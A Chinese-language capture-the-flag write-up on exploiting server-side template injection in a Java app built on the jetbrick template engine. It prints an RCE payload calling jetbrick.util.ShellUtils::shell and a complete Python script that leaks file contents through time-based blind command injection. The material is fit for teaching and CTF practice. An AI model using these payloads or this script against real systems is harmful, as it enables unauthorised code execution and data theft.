有幸解出这道题目,难度适中但是放在没在线环境的情况下还是挺有挑战的,主要是不能搜资料。靠这道题目直接拿到第一了,有点侥幸
SSTI
先拖进jadx-gui看主类代码
就两个功能,路径都是/,如果是get的话就输出信息,POST是题目的功能入口点
分析一下,这个SSTI比较简单,就是直接将POST的STR引入模板中了,所以直接把payload写在STR变量即可执行,问题是JAVA的SSTI怎么打呢?
题目附件有给提示
就是${PAYLOAD}就可以了,下一步是构造PAYLOAD
从RCE不出网到BASH盲注获取执行结果
反编译代码中有看到他过滤了几个关键字,把常见的能够GETSHELL的类都给ban了,而且题目环境说不能出网(后期试过确实是),就挺难搞的
先想办法获取RCE,仿照README给出的静态方法调用是可以直接执行静态函数的,前提是要找到可利用的类,这里找了一下发现在jetbrick/util/ShellUtils类中有SHELL静态方法可直接执行命令
那么payload就是${jetbrick.util.ShellUtils::shell(“命令”)}
但是没有回显,也不能出网反弹shell,那么怎么获得命令结果呢?
可以通过bash盲注方式(有点类似于sql的盲注),可以基于布尔或者时间,这里我忘了布尔是怎么写的就采用了时间盲注的方法
发现确实执行了sleep命令,这里是本地自搭复现环境,当时题目环境时只要sleep他就会返回504超时,那么按照这个思路配合if就可以获得命令执行结果了
不过我这里实在忘了shell语法的if了,尝试了一下发现目标靶机有python环境,就用python代劳了一下
payload如下
import os;b=os.popen('cat /*').read()[0];import time;time.sleep((b=='?')*3)
如果正确的话那就会sleep3秒,到web那边就是返回504超时
编写exp脚本
import requests
import string
import base64
flag=''
index=0
#url="http://eci-2ze656jixu9mjq8i5o03.cloudeci1.ichunqiu.com:8888"
url="http://localhost"
d=[chr(i) for i in range(0x20,0x80)]
d=string.printable
while 1:
for i in d:
exp=("import os;b=os.popen('cat /*').read()["+str(index)+"];import time;time.sleep((b=='"+i+"')*3)").encode()
exp=base64.b64encode(exp).decode()
payload={"str":"${jetbrick.util.ShellUtils::shell(\"s="+exp+";s=`echo $s|base64 -d`;echo $s|python3\")}"}
req=requests.post(url=url,data=payload)
if req.status_code==504:
index+=1
flag+=i
print(flag)
break
if i==string.printable[-1]:
break
print("should be done")
print(flag)
运行获得flag
实战这个脚本我打开了一些debug信息,因为flag太长了
有点坑的是flag好像是/0flag还是什么,反正/flag是读不出来的,找了好久